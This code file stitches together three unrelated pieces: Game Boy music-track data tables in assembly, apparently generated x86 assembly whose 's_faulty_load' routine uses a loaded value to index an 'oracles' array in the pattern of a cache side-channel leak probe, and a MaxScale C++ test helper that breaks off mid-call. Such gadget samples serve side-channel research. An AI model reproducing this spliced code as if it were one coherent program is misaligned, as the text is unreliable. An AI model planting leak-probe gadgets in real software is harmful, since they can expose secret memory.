.db #0x04 ; 4
.db #0x42 ; 66 'B'
.db #0x5a ; 90 'Z'
.db #0x04 ; 4
.db #0x42 ; 66 'B'
.db #0x5a ; 90 'Z'
.db #0x04 ; 4
.db #0x42 ; 66 'B'
.db #0x24 ; 36
.db #0x03 ; 3
.db #0x0e ; 14
.db #0x5a ; 90 'Z'
.db #0x03 ; 3
.db #0x0e ; 14
.db #0x5a ; 90 'Z'
.db #0x03 ; 3
.db #0x0e ; 14
.db #0x5a ; 90 'Z'
.db #0x04 ; 4
.db #0x42 ; 66 'B'
.db #0x5a ; 90 'Z'
.db #0x04 ; 4
.db #0x42 ; 66 'B'
.db #0x5a ; 90 'Z'
.db #0x04 ; 4
.db #0x42 ; 66 'B'
.db #0x1d ; 29
.db #0x10 ; 16
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x24 ; 36
.db #0x10 ; 16
.db #0x00 ; 0
.db #0x1d ; 29
.db #0x1c ; 28
.db #0x03 ; 3
.db #0x29 ; 41
.db #0x10 ; 16
.db #0x00 ; 0
.db #0x24 ; 36
.db #0x1c ; 28
.db #0x03 ; 3
.db #0x2c ; 44
.db #0x10 ; 16
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x04 ; 4
.db #0x42 ; 66 'B'
.db #0x5a ; 90 'Z'
.db #0x04 ; 4
.db #0x42 ; 66 'B'
.db #0x2e ; 46
.db #0x03 ; 3
.db #0x05 ; 5
.db #0x5a ; 90 'Z'
.db #0x03 ; 3
.db #0x05 ; 5
.db #0x5a ; 90 'Z'
.db #0x03 ; 3
.db #0x05 ; 5
.db #0x5a ; 90 'Z'
.db #0x04 ; 4
.db #0x42 ; 66 'B'
.db #0x5a ; 90 'Z'
.db #0x04 ; 4
.db #0x42 ; 66 'B'
.db #0x5a ; 90 'Z'
.db #0x04 ; 4
.db #0x42 ; 66 'B'
.db #0x33 ; 51 '3'
.db #0x10 ; 16
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x30 ; 48 '0'
.db #0x10 ; 16
.db #0x00 ; 0
.db #0x33 ; 51 '3'
.db #0x1c ; 28
.db #0x03 ; 3
.db #0x2c ; 44
.db #0x10 ; 16
.db #0x00 ; 0
.db #0x27 ; 39
.db #0x1c ; 28
.db #0x03 ; 3
.db #0x2e ; 46
.db #0x10 ; 16
.db #0x00 ; 0
.db #0x30 ; 48 '0'
.db #0x1c ; 28
.db #0x03 ; 3
.db #0x33 ; 51 '3'
.db #0x10 ; 16
.db #0x00 ; 0
.db #0x35 ; 53 '5'
.db #0x03 ; 3
.db #0x04 ; 4
.db #0x5a ; 90 'Z'
.db #0x03 ; 3
.db #0x04 ; 4
.db #0x5a ; 90 'Z'
.db #0x03 ; 3
.db #0x04 ; 4
.db #0x5a ; 90 'Z'
.db #0x04 ; 4
.db #0x42 ; 66 'B'
.db #0x5a ; 90 'Z'
.db #0x04 ; 4
.db #0x42 ; 66 'B'
.db #0x5a ; 90 'Z'
.db #0x04 ; 4
.db #0x42 ; 66 'B'
.db #0x35 ; 53 '5'
.db #0x10 ; 16
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x33 ; 51 '3'
.db #0x1c ; 28
.db #0x03 ; 3
.db #0x30 ; 48 '0'
.db #0x10 ; 16
.db #0x00 ; 0
.db #0x33 ; 51 '3'
.db #0x10 ; 16
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x30 ; 48 '0'
.db #0x03 ; 3
.db #0x02 ; 2
.db #0x5a ; 90 'Z'
.db #0x03 ; 3
.db #0x02 ; 2
.db #0x5a ; 90 'Z'
.db #0x03 ; 3
.db #0x02 ; 2
.db #0x5a ; 90 'Z'
.db #0x03 ; 3
.db #0x02 ; 2
.db #0x5a ; 90 'Z'
.db #0x04 ; 4
.db #0x42 ; 66 'B'
.db #0x5a ; 90 'Z'
.db #0x04 ; 4
.db #0x42 ; 66 'B'
.db #0x5a ; 90 'Z'
.db #0x04 ; 4
.db #0x42 ; 66 'B'
.db #0x5a ; 90 'Z'
.db #0x04 ; 4
.db #0x42 ; 66 'B'
.db #0x5a ; 90 'Z'
.db #0x04 ; 4
.db #0x42 ; 66 'B'
.db #0x5a ; 90 'Z'
.db #0x04 ; 4
.db #0x42 ; 66 'B'
.db #0x5a ; 90 'Z'
.db #0x04 ; 4
.db #0x42 ; 66 'B'
.db #0x5a ; 90 'Z'
.db #0x04 ; 4
.db #0x42 ; 66 'B'
.db #0x5a ; 90 'Z'
.db #0x04 ; 4
.db #0x42 ; 66 'B'
.db #0x5a ; 90 'Z'
.db #0x04 ; 4
.db #0x42 ; 66 'B'
.db #0x5a ; 90 'Z'
.db #0x04 ; 4
.db #0x42 ; 66 'B'
.db #0x5a ; 90 'Z'
.db #0x04 ; 4
.db #0x42 ; 66 'B'
.db #0x5a ; 90 'Z'
.db #0x0b ; 11
.db #0x03 ; 3
_order1:
.dw _P2
.dw _P6
.dw _P10
.dw _P11
.dw _P16
.dw _P16
.dw _P16
.dw _P16
.dw _P0
_order2:
.dw _P1
.dw _P7
.dw _P3
.dw _P13
.dw _P15
.dw _P17
.dw _P18
.dw _P19
.dw _P0
_order3:
.dw _P0
.dw _P4
.dw _P8
.dw _P12
.dw _P8
.dw _P8
.dw _P8
.dw _P8
.dw _P0
_order4:
.dw _P0
.dw _P5
.dw _P9
.dw _P14
.dw _P9
.dw _P9
.dw _P9
.dw _P9
.dw _P0
_duty_instruments:
.db #0x08 ; 8
.db #0x80 ; 128
.db #0x80 ; 128
.db #0x80 ; 128
.db #0x08 ; 8
.db #0x80 ; 128
.db #0x20 ; 32
.db #0x80 ; 128
.db #0x08 ; 8
.db #0x40 ; 64
.db #0xa0 ; 160
.db #0x80 ; 128
.db #0x08 ; 8
.db #0x40 ; 64
.db #0x30 ; 48 '0'
.db #0x80 ; 128
.db #0x08 ; 8
.db #0x80 ; 128
.db #0xf0 ; 240
.db #0x80 ; 128
.db #0x08 ; 8
.db #0x40 ; 64
.db #0x90 ; 144
.db #0x80 ; 128
.db #0x08 ; 8
.db #0x40 ; 64
.db #0x30 ; 48 '0'
.db #0x80 ; 128
.db #0x08 ; 8
.db #0x80 ; 128
.db #0xf0 ; 240
.db #0x80 ; 128
.db #0x08 ; 8
.db #0x80 ; 128
.db #0xf0 ; 240
.db #0x80 ; 128
.db #0x08 ; 8
.db #0x80 ; 128
.db #0xf0 ; 240
.db #0x80 ; 128
.db #0x08 ; 8
.db #0x80 ; 128
.db #0xf0 ; 240
.db #0x80 ; 128
.db #0x08 ; 8
.db #0x80 ; 128
.db #0xf0 ; 240
.db #0x80 ; 128
.db #0x08 ; 8
.db #0x80 ; 128
.db #0xf0 ; 240
.db #0x80 ; 128
.db #0x08 ; 8
.db #0x80 ; 128
.db #0xf0 ; 240
.db #0x80 ; 128
.db #0x08 ; 8
.db #0x80 ; 128
.db #0xf0 ; 240
.db #0x80 ; 128
_wave_instruments:
.db #0x00 ; 0
.db #0x20 ; 32
.db #0x00 ; 0
.db #0x80 ; 128
.db #0x00 ; 0
.db #0x20 ; 32
.db #0x00 ; 0
.db #0x80 ; 128
.db #0x00 ; 0
.db #0x20 ; 32
.db #0x00 ; 0
.db #0x80 ; 128
.db #0x00 ; 0
.db #0x20 ; 32
.db #0x00 ; 0
.db #0x80 ; 128
.db #0x00 ; 0
.db #0x20 ; 32
.db #0x01 ; 1
.db #0x80 ; 128
.db #0x00 ; 0
.db #0x20 ; 32
.db #0x00 ; 0
.db #0x80 ; 128
.db #0x00 ; 0
.db #0x20 ; 32
.db #0x00 ; 0
.db #0x80 ; 128
.db #0x00 ; 0
.db #0x20 ; 32
.db #0x00 ; 0
.db #0x80 ; 128
.db #0x00 ; 0
.db #0x20 ; 32
.db #0x00 ; 0
.db #0x80 ; 128
.db #0x00 ; 0
.db #0x20 ; 32
.db #0x00 ; 0
.db #0x80 ; 128
.db #0x00 ; 0
.db #0x20 ; 32
.db #0x00 ; 0
.db #0x80 ; 128
.db #0x00 ; 0
.db #0x20 ; 32
.db #0x00 ; 0
.db #0x80 ; 128
.db #0x00 ; 0
.db #0x20 ; 32
.db #0x00 ; 0
.db #0x80 ; 128
.db #0x00 ; 0
.db #0x20 ; 32
.db #0x00 ; 0
.db #0x80 ; 128
.db #0x00 ; 0
.db #0x20 ; 32
.db #0x00 ; 0
.db #0x80 ; 128
_noise_instruments:
.db #0xf0 ; 240
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0xf0 ; 240
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0xf0 ; 240
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0xa2 ; 162
.db #0x49 ; 73 'I'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0xf0 ; 240
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0xf0 ; 240
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0xf0 ; 240
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x81 ; 129
.db #0x40 ; 64
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x90 ; 144
.db #0x7e ; 126
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0xf0 ; 240
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0xf0 ; 240
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0xf0 ; 240
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0xf0 ; 240
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0xf0 ; 240
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0xf0 ; 240
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
_waves:
.db #0xff ; 255
.db #0xee ; 238
.db #0xdd ; 221
.db #0xcc ; 204
.db #0xbb ; 187
.db #0xaa ; 170
.db #0x99 ; 153
.db #0x88 ; 136
.db #0x77 ; 119 'w'
.db #0x66 ; 102 'f'
.db #0x55 ; 85 'U'
.db #0x44 ; 68 'D'
.db #0x33 ; 51 '3'
.db #0x22 ; 34
.db #0x11 ; 17
.db #0x00 ; 0
.db #0x8a ; 138
.db #0xce ; 206
.db #0xff ; 255
.db #0xff ; 255
.db #0xff ; 255
.db #0xff ; 255
.db #0xfe ; 254
.db #0xca ; 202
.db #0x85 ; 133
.db #0x31 ; 49 '1'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x01 ; 1
.db #0x35 ; 53 '5'
.db #0xb0 ; 176
.db #0x9a ; 154
.db #0x90 ; 144
.db #0x93 ; 147
.db #0x5d ; 93
.db #0x72 ; 114 'r'
.db #0x74 ; 116 't'
.db #0x85 ; 133
.db #0x44 ; 68 'D'
.db #0x59 ; 89 'Y'
.db #0x92 ; 146
.db #0x19 ; 25
.db #0x55 ; 85 'U'
.db #0xe1 ; 225
.db #0xb4 ; 180
.db #0x02 ; 2
.db #0x3b ; 59
.db #0x2d ; 45
.db #0x0a ; 10
.db #0xd1 ; 209
.db #0x33 ; 51 '3'
.db #0x3e ; 62
.db #0x5a ; 90 'Z'
.db #0x09 ; 9
.db #0x71 ; 113 'q'
.db #0x3c ; 60
.db #0x80 ; 128
.db #0x00 ; 0
.db #0xe7 ; 231
.db #0x4b ; 75 'K'
.db #0x02 ; 2
.db #0x01 ; 1
.db #0x6b ; 107 'k'
.db #0xea ; 234
.db #0x7e ; 126
.db #0xdc ; 220
.db #0x07 ; 7
.db #0xcc ; 204
.db #0x99 ; 153
.db #0x5d ; 93
.db #0xd0 ; 208
.db #0x62 ; 98 'b'
.db #0x3a ; 58
.db #0xc2 ; 194
.db #0x81 ; 129
.db #0x7a ; 122 'z'
.db #0x38 ; 56 '8'
.db #0x35 ; 53 '5'
.db #0x46 ; 70 'F'
.db #0xe9 ; 233
.db #0x52 ; 82 'R'
.db #0x6e ; 110 'n'
.db #0x58 ; 88 'X'
.db #0xc7 ; 199
.db #0x03 ; 3
.db #0x06 ; 6
.db #0xa5 ; 165
.db #0x4e ; 78 'N'
.db #0x96 ; 150
.db #0x3d ; 61
.db #0x0c ; 12
.db #0x7b ; 123
.db #0x25 ; 37
.db #0x5a ; 90 'Z'
.db #0x7e ; 126
.db #0xa1 ; 161
.db #0x01 ; 1
.db #0x99 ; 153
.db #0x8d ; 141
.db #0x81 ; 129
.db #0x4a ; 74 'J'
.db #0x8c ; 140
.db #0x3d ; 61
.db #0x45 ; 69 'E'
.db #0xd5 ; 213
.db #0x9a ; 154
.db #0x20 ; 32
.db #0x84 ; 132
.db #0x73 ; 115 's'
.db #0x3e ; 62
.db #0x38 ; 56 '8'
.db #0x10 ; 16
.db #0x1e ; 30
.db #0x92 ; 146
.db #0x92 ; 146
.db #0xb7 ; 183
.db #0xe3 ; 227
.db #0xc7 ; 199
.db #0xe0 ; 224
.db #0x5e ; 94
.db #0x99 ; 153
.db #0x33 ; 51 '3'
.db #0xd1 ; 209
.db #0x3b ; 59
.db #0xeb ; 235
.db #0x51 ; 81 'Q'
.db #0x26 ; 38
.db #0x4b ; 75 'K'
.db #0x1c ; 28
.db #0x68 ; 104 'h'
.db #0xb8 ; 184
.db #0xda ; 218
.db #0xe4 ; 228
.db #0xc5 ; 197
.db #0x71 ; 113 'q'
.db #0x80 ; 128
.db #0x0c ; 12
.db #0xee ; 238
.db #0x37 ; 55 '7'
.db #0x8a ; 138
.db #0xe3 ; 227
.db #0x77 ; 119 'w'
.db #0x35 ; 53 '5'
.db #0x62 ; 98 'b'
.db #0x3b ; 59
.db #0xa7 ; 167
.db #0xaa ; 170
.db #0x0c ; 12
.db #0x68 ; 104 'h'
.db #0x49 ; 73 'I'
.db #0x6e ; 110 'n'
.db #0xd2 ; 210
.db #0x82 ; 130
.db #0x1c ; 28
.db #0x47 ; 71 'G'
.db #0x9a ; 154
.db #0x37 ; 55 '7'
.db #0x21 ; 33
.db #0x66 ; 102 'f'
.db #0x8a ; 138
.db #0xea ; 234
.db #0xab ; 171
.db #0x6b ; 107 'k'
.db #0x76 ; 118 'v'
.db #0x6d ; 109 'm'
.db #0xb9 ; 185
.db #0xd9 ; 217
.db #0x74 ; 116 't'
.db #0x2b ; 43
.db #0x12 ; 18
.db #0x12 ; 18
.db #0xa1 ; 161
.db #0x2b ; 43
.db #0xb1 ; 177
.db #0x10 ; 16
.db #0x25 ; 37
.db #0x9d ; 157
.db #0x94 ; 148
.db #0xe3 ; 227
.db #0x8c ; 140
.db #0x36 ; 54 '6'
.db #0xaa ; 170
.db #0x8a ; 138
.db #0x7b ; 123
.db #0xe3 ; 227
.db #0x83 ; 131
.db #0x39 ; 57 '9'
.db #0xe5 ; 229
.db #0x70 ; 112 'p'
.db #0x35 ; 53 '5'
.db #0xb7 ; 183
.db #0x76 ; 118 'v'
.db #0x52 ; 82 'R'
.db #0x69 ; 105 'i'
.db #0xea ; 234
.db #0x7e ; 126
.db #0xb5 ; 181
.db #0x62 ; 98 'b'
.db #0x97 ; 151
.db #0x99 ; 153
.db #0xb5 ; 181
.db #0xc8 ; 200
.db #0xb7 ; 183
.db #0x80 ; 128
.db #0xce ; 206
.db #0x32 ; 50 '2'
.db #0x29 ; 41
.db #0x3d ; 61
.db #0xa1 ; 161
.db #0x6e ; 110 'n'
.db #0xb2 ; 178
.db #0x69 ; 105 'i'
.db #0xe2 ; 226
.db #0x5e ; 94
.db #0x66 ; 102 'f'
.db #0x8a ; 138
.db #0x91 ; 145
.db #0xee ; 238
.db #0x2a ; 42
.db #0xde ; 222
.db #0x2a ; 42
.db #0x9a ; 154
.db #0x62 ; 98 'b'
.db #0xe3 ; 227
.db #0x78 ; 120 'x'
.db #0xc2 ; 194
.db #0x14 ; 20
.db #0x49 ; 73 'I'
.db #0xba ; 186
.db #0xa4 ; 164
.db #0xdc ; 220
.db #0x8b ; 139
.db #0xbc ; 188
.db #0x02 ; 2
.db #0x7a ; 122 'z'
.db #0x32 ; 50 '2'
.db #0xd1 ; 209
.db #0x08 ; 8
.db #0xb5 ; 181
.db #0xe3 ; 227
.db #0x4d ; 77 'M'
.db #0x4d ; 77 'M'
.db #0xb1 ; 177
.db #0x68 ; 104 'h'
.db #0x6b ; 107 'k'
.db #0x2a ; 42
.db #0xb1 ; 177
.db #0xb2 ; 178
.db #0x3b ; 59
.db #0xb1 ; 177
.db #0x2b ; 43
.db #0x6a ; 106 'j'
.db #0xb1 ; 177
.db #0x99 ; 153
___bank_music_track_101__Data = 0x00ff
_music_track_101__Data:
.db #0x07 ; 7
.dw _order_cnt
.dw _order1
.dw _order2
.dw _order3
.dw _order4
.dw _duty_instruments
.dw _wave_instruments
.dw _noise_instruments
.dw #0x0000
.dw _waves
.area _INITIALIZER
.area _CABS (ABS)
|
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r12
push %r13
push %r14
push %r8
push %r9
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_D_ht+0x8ab1, %r14
nop
nop
nop
nop
nop
inc %r12
movb (%r14), %r8b
cmp %rdx, %rdx
lea addresses_WC_ht+0x14a61, %r11
nop
nop
nop
nop
nop
inc %r13
movw $0x6162, (%r11)
nop
nop
nop
nop
nop
cmp $62224, %r9
lea addresses_WC_ht+0x1ab81, %r9
nop
nop
dec %rdx
movups (%r9), %xmm6
vpextrq $1, %xmm6, %r12
add $26576, %r12
lea addresses_A_ht+0x5d31, %rsi
lea addresses_D_ht+0xeecd, %rdi
xor %r14, %r14
mov $56, %rcx
rep movsw
nop
nop
nop
nop
nop
and %r11, %r11
lea addresses_A_ht+0x45a1, %rsi
lea addresses_D_ht+0xe21, %rdi
clflush (%rsi)
nop
nop
add $57720, %r12
mov $86, %rcx
rep movsb
nop
nop
nop
nop
nop
sub $61623, %r14
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %r9
pop %r8
pop %r14
pop %r13
pop %r12
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r13
push %r14
push %rax
push %rbx
push %rdi
push %rdx
// Store
lea addresses_normal+0x18d21, %r13
nop
nop
nop
nop
nop
dec %r12
movb $0x51, (%r13)
and %rax, %rax
// Store
lea addresses_WT+0x1f4e1, %rbx
nop
cmp $22753, %rdx
movw $0x5152, (%rbx)
nop
nop
nop
nop
nop
xor $17958, %rdi
// Store
lea addresses_RW+0x1f369, %rdx
nop
nop
nop
nop
xor $16822, %r13
movb $0x51, (%rdx)
nop
nop
add %r14, %r14
// Store
lea addresses_D+0x1a666, %rdi
nop
nop
nop
nop
nop
and %rax, %rax
mov $0x5152535455565758, %r14
movq %r14, %xmm0
vmovups %ymm0, (%rdi)
nop
cmp $28850, %r12
// Load
lea addresses_normal+0x16941, %r12
nop
nop
nop
nop
sub %rbx, %rbx
movups (%r12), %xmm0
vpextrq $0, %xmm0, %rdi
nop
nop
nop
nop
nop
and $357, %rbx
// Store
lea addresses_WT+0x15561, %r13
dec %r12
movb $0x51, (%r13)
nop
nop
nop
nop
nop
and %r13, %r13
// Faulty Load
lea addresses_D+0x17e61, %r13
nop
add %rax, %rax
mov (%r13), %r14
lea oracles, %r12
and $0xff, %r14
shlq $12, %r14
mov (%r12,%r14,1), %r14
pop %rdx
pop %rdi
pop %rbx
pop %rax
pop %r14
pop %r13
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_D', 'size': 2, 'AVXalign': False}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 5, 'NT': False, 'type': 'addresses_normal', 'size': 1, 'AVXalign': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 7, 'NT': False, 'type': 'addresses_WT', 'size': 2, 'AVXalign': True}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 2, 'NT': False, 'type': 'addresses_RW', 'size': 1, 'AVXalign': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_D', 'size': 32, 'AVXalign': False}}
{'src': {'same': False, 'congruent': 4, 'NT': False, 'type': 'addresses_normal', 'size': 16, 'AVXalign': False}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 8, 'NT': False, 'type': 'addresses_WT', 'size': 1, 'AVXalign': False}}
[Faulty Load]
{'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_D', 'size': 8, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'same': False, 'congruent': 4, 'NT': False, 'type': 'addresses_D_ht', 'size': 1, 'AVXalign': False}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 10, 'NT': False, 'type': 'addresses_WC_ht', 'size': 2, 'AVXalign': False}}
{'src': {'same': False, 'congruent': 5, 'NT': False, 'type': 'addresses_WC_ht', 'size': 16, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_A_ht', 'congruent': 2, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 2, 'same': False}}
{'src': {'type': 'addresses_A_ht', 'congruent': 6, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 6, 'same': True}}
{'36': 21829}
36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36
*/
|
#include <maxtest/config_operations.hh>
// The configuration should use these names for the services, listeners and monitors
#define SERVICE_NAME1 "rwsplit-service"
#define SERVICE_NAME2 "read-connection-router-master"
#define SERVICE_NAME3 "read-connection-router-slave"
#define LISTENER_NAME1 "rwsplit-service-listener"
#define LISTENER_NAME2 "read-connection-router-master-listener"
#define LISTENER_NAME3 "read-connection-router-slave-listener"
struct
{
const char* service;
const char* listener;
int port;
} services[]
{
{SERVICE_NAME1, LISTENER_NAME1, 4006},
{SERVICE_NAME2, LISTENER_NAME2, 4008},
{SERVICE_NAME3, LISTENER_NAME3, 4009}
};
Config::Config(TestConnections* parent)
: test_(parent)
{
}
Config::~Config()
{
}
void Config::add_server(int num)
{
test_->tprintf("Adding the servers");
test_->set_timeout(120);
test_->maxscales->ssh_node_f(0, true, "maxctrl link service %s server%d", SERVICE_NAME1, num);
test_->maxscales->ssh_node_f(0, true, "maxctrl link service %s server%d", SERVICE_NAME2, num);
test_->maxscales->ssh_node_f(0, true, "maxctrl link service %s server%d", SERVICE_NAME3, num);
for (auto& a : created_monitors_)
{
test_->maxscales->ssh_node_f(0, true, "maxctrl link monitor %s server%d", a.c_str(), num);
}
test_->stop_timeout();
}
void Config::remove_server(int num)
{
test_->set_timeout(120);
test_->maxscales->ssh_node_f(0, true, "maxctrl unlink service %s server%d", SERVICE_NAME1, num);
test_->maxscales->ssh_node_f(0, true, "maxctrl unlink service %s server%d", SERVICE_NAME2, num);
test_->maxscales->ssh_node_f(0, true, "maxctrl unlink service %s server%d", SERVICE_NAME3, num);
for (auto& a : created_monitors_)
{
test_->maxscales->ssh_node_f(0, true, "maxctrl unlink monitor %s server%d", a.c_str(), num);
}
test_->stop_timeout();
}
void Config::add_created_servers(const char* object)
{
for (auto a : created_servers_)
{
// Not pretty but it should work
test_->maxscales->ssh_node_f(0, true, "maxctrl link service %s server%d", object, a);
test_->maxscales->ssh_node_f(0, true, "maxctrl link monitor %s server%d", object, a);
}
}
void Config::destroy_server(int num)
{
test_->set_timeout(120);
test_->maxscales->ssh_node_f(0, true, "maxctrl destroy server server%d", num);
created_servers_.erase(num);
test_->stop_timeout();
}
void Config::create_server(int num)
{
test_->set_timeout(120);
auto homedir = test_->maxscales->access_homedir(0);
char ssl_line[200 + 3 * strlen(homedir)] = "";
if (test_->backend_ssl)
{
sprintf(ssl_line,
" --tls-key=/%s/certs/client-key.pem "
" --tls-cert=/%s/certs/client-cert.pem "
" --tls-ca-cert=/%s/certs/ca.pem "
" --tls-version=MAX "
" --tls-cert-verify-depth=9",
homedir, homedir, homedir);
}
test_->maxscales->ssh_node_f(0,
true,
"maxctrl create server server%d %s %d %s",
num,
